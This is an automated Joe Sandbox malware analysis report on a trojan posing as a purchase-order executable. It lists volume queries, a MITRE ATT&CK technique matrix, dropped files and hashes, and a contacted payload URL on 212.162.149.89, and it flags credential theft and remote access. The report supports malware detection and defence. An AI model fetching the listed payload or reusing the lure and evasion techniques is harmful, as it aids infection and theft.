Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe

0_2_0040351C

Stealing of Sensitive Information

Source: Yara match

File source: 0000000E.00000002.3372446801.000000001F9D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Source: Yara match

File source: 0000000E.00000002.3372446801.000000001F9D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Access Token Manipulation	11 Masquerading	OS Credential Dumping	231 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Shared Modules	Boot or Logon Initialization Scripts	411 Process Injection	41 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	411 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	124 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO. A-72 9234567.exe	21%	ReversingLabs	Win32.Trojan.Garf
PO. A-72 9234567.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	21%	ReversingLabs	Win32.Trojan.Garf

Source	Detection	Scanner	Label
http://212.162.149.89/KSMZNlmay152.bin	0%	Avira URL Cloud	safe
http://212.162.149.89/KSMZNlmay152.bin(	0%	Avira URL Cloud	safe
http://crl.mi	0%	Avira URL Cloud	safe
http://212.162.149.89/KSMZNlmay152.binp	0%	Avira URL Cloud	safe
http://212.162.149.89/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
ax-0001.ax-msedge.net	150.171.28.10	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://212.162.149.89/KSMZNlmay152.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.3102158984.000000000624B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000002.00000002.3099047054.0000000005337000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.11.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.3099047054.0000000005337000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3103991276.00000000077F3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000002.00000002.3099047054.0000000005337000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.3099047054.00000000051E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.3099047054.0000000005337000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3103991276.00000000077F3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://212.162.149.89/KSMZNlmay152.binp	Notanencephalia.exe, 0000000E.00000002.3360242550.0000000004098000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000002.00000002.3099047054.0000000005337000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000002.00000002.3102158984.000000000624B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.3102158984.000000000624B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000002.00000002.3102158984.000000000624B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.3102158984.000000000624B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000B.00000003.2466483235.0000022D73E50000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	false		high
http://crl.ver)	svchost.exe, 0000000B.00000002.3417307334.0000022D74000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://212.162.149.89/KSMZNlmay152.bin(	Notanencephalia.exe, 0000000E.00000002.3360242550.0000000004098000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	PO. A-72 9234567.exe, Notanencephalia.exe.2.dr	false		high
http://www.microsoft.c	powershell.exe, 00000002.00000002.3112960418.0000000008A22000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.3099047054.00000000051E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.3099047054.0000000005337000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3103991276.00000000077F3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.mi	powershell.exe, 00000002.00000002.3103991276.00000000077F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://212.162.149.89/	Notanencephalia.exe, 0000000E.00000002.3360242550.00000000040D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
212.162.149.89	unknown	Netherlands		64236	UNREAL-SERVERSUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572258
Start date and time:	2024-12-10 10:31:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO. A-72 9234567.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/17@0/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 93% Number of executed functions: 92 Number of non-executed functions: 308
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 104.121.21.116, 20.190.181.5, 20.103.156.88, 13.107.246.63, 2.16.158.50, 4.175.87.197, 150.171.28.10, 2.16.158.171
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, e15275.d.akamaiedge.net, tile-service.weather.microsoft.com, tse1.mm.bing.net, ctldl.windowsupdate.com, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com, wildcard.weather.microsoft.com.edgekey.net, login.live.com, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net
Execution Graph export aborted for target powershell.exe, PID 5160 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: PO. A-72 9234567.exe

Simulations

Behavior and APIs

Time	Type	Description
04:32:05	API Interceptor	32x Sleep call for process: powershell.exe modified
04:32:34	API Interceptor	2x Sleep call for process: svchost.exe modified
04:34:01	API Interceptor	3x Sleep call for process: Notanencephalia.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	c2.hta	Get hash	malicious	XWorm	Browse	199.232.210.172
	SC3sPWT51E.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	199.232.214.172
	OrderSheet.xla.xlsx	Get hash	malicious	Unknown	Browse	199.232.210.172
	file.exe	Get hash	malicious	Stealc	Browse	199.232.210.172
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	199.232.214.172
	lz3EbiqoK4.exe	Get hash	malicious	Quasar	Browse	199.232.214.172
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	199.232.210.172
	xMaSQ3Bn10.docx	Get hash	malicious	Unknown	Browse	199.232.214.172
ax-0001.ax-msedge.net	DqEJwd61Uw.exe	Get hash	malicious	Zhark RAT	Browse	150.171.27.10
	8E273IHyAW.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.27.10
	file.exe	Get hash	malicious	Stealc	Browse	150.171.28.10
	WeFGstOEUF.exe	Get hash	malicious	Akira	Browse	150.171.28.10
	Aktarma,pdf.vbs	Get hash	malicious	Remcos	Browse	150.171.27.10
	https://reader.egress.com/remote.aspx/s/storage.phe.gov.uk/email/e0599f812894d1904a8fe3cf7f605bcb	Get hash	malicious	Unknown	Browse	150.171.28.10
	file.exe	Get hash	malicious	Stealc	Browse	150.171.27.10
	https://www.egencia.com/conversations/cp/connect.html/?id=9445ace5-416d-4fb9-b151-bab0770ccdde	Get hash	malicious	Unknown	Browse	150.171.28.10
	eRApzqPkL1.exe	Get hash	malicious	RHADAMANTHYS	Browse	150.171.28.10
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNREAL-SERVERSUS	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	162.251.123.175
	file.exe	Get hash	malicious	RedLine	Browse	212.162.149.48
	https://haqzt.trc20.kcgrocks.com/merchantServices	Get hash	malicious	Unknown	Browse	172.96.10.214
	scan_241205-801_draft_PO.exe	Get hash	malicious	Remcos, GuLoader	Browse	162.251.122.87
	1g4lfpPUqt.exe	Get hash	malicious	GuLoader	Browse	212.162.149.63
	purchase order.exe	Get hash	malicious	FormBook, GuLoader	Browse	212.162.149.66
	Juleferien.exe	Get hash	malicious	FormBook	Browse	212.162.149.128
	Juleferien.exe	Get hash	malicious	FormBook	Browse	212.162.149.128
	RFQ-24-10104-PO X241104754-007.exe	Get hash	malicious	Remcos	Browse	162.251.122.86
	PO-RFQ-824-URGENT-SUPPLY.com.exe	Get hash	malicious	GuLoader	Browse	185.149.234.209

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263010769412562
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0s:9JZj5MiKNnNhoxup
MD5:	911EB9ACE9F7EAA2FF57A8F67EA480C4
SHA1:	BC0594AC334A93AF3F1AC333639E0D1B9539D0AF
SHA-256:	8DCE14C899F050524595B383B28D7D8FBB4730BD6C19D46093EE2A8A812456E8
SHA-512:	52B18B43CB69AE293A0B1F191BA3DA2B47F29EE1EA72B9997ED7973A6371B38E00210CA14C68A5E83F8D398595FD38B37F810456FB39FA60AF31172BA6345F18
Malicious:	false
Reputation:	low
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x4f719ed0, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555793339809903
Encrypted:	false
SSDEEP:	1536:NSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:NazaSvGJzYj2UlmOlOL
MD5:	0C3965EA7BE819AB3BCA73550FCAB26A
SHA1:	48D48B71DBC0EE57075D83539BEA3B93DE5FDE20
SHA-256:	6EC0052419CAAA54910068D7DD9AFDDD74F106B9C1B3C65B56DE9186C164D743
SHA-512:	B35F30A0C4EE1643E7E6715F55A6DF799E3B7FE3758F17BEC1D66ED29E5211DE18FA99D933B1C584F4F6CBB4F03FB9FC7731B178E754779602A3600ACE732DDE
Malicious:	false
Reputation:	low
Preview:	Oq..... .......7.......X\...;...{......................0.e......!...{?.# ...\|}.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{......................................# ...\|...................'..# ...\|...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Process:	C:\Windows\System32\svchost.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07804908567540941
Encrypted:	false
SSDEEP:	3:sllEYexWvY0ENaAPaU1lxxZo/YlluxmO+l/SNxOf:slyzxo8NDPaU6IgmOH
MD5:	0E6A8A1C820A143F1A001CDA0AD0509F
SHA1:	8CC57EA68E0E304C9771C1D4E6BC33CEB7FDF7BD
SHA-256:	2676A513ED6E3A3F2E720F734817E3C488EC7F8E2EE7721E5A59D4446A6B6E39
SHA-512:	A688C1FAEA642F1344AAB5D56E129A85064223C131528298ED65EE08B4A588EDA35A008ED653BFDA2CFBCB145204DBDCBEF38713ADB4D5E30E6EE5863909D11B
Malicious:	false
Reputation:	low
Preview:	........................................;...{..# ...\|...!...{?..........!...{?..!...{?..g...!...{?..................'..# ...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	53158
Entropy (8bit):	5.062687652912555
Encrypted:	false
SSDEEP:	1536:N8Z+z30pPV3CNBQkj2Ph4iUx7aVKflJnqvPqdKgfSRIOdBlzStAHk4NKeCMiYoLs:iZ+z30pPV3CNBQkj2PqiU7aVKflJnqvF
MD5:	5D430F1344CE89737902AEC47C61C930
SHA1:	0B90F23535E8CDAC8EC1139183D5A8A269C2EFEB
SHA-256:	395099D9A062FA7A72B73D7B354BF411DA7CFD8D6ADAA9FDBC0DD7C282348DC7
SHA-512:	DFC18D47703A69D44643CFC0209B785A4393F4A4C84FAC5557D996BC2A3E4F410EA6D26C66EA7F765CEC491DD52C8454CB0F538D20D2EFF09DC89DDECC0A2AFE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.G.......%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbc........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........nsmbscm........gsmbscm........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........Remove-SMBComponent........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........rsmbscm........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-Sm

C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Auktionshus\tallness.ber

Process:	C:\Users\user\Desktop\PO. A-72 9234567.exe
File Type:	data
Category:	dropped
Size (bytes):	493903
Entropy (8bit):	1.2514017425028907
Encrypted:	false
SSDEEP:	1536:J5fAgVg2t2pObnNoCYrlANC4fcmCuJyzbffMxL+hJfryobV3Krqx1TJG:r/Bb+CYr2cbPiihhqUO
MD5:	8B4C2BBEDD252D6BB6DB679AB3723802
SHA1:	2D9775744675D3B32F3CA2FDF975C9293B719926
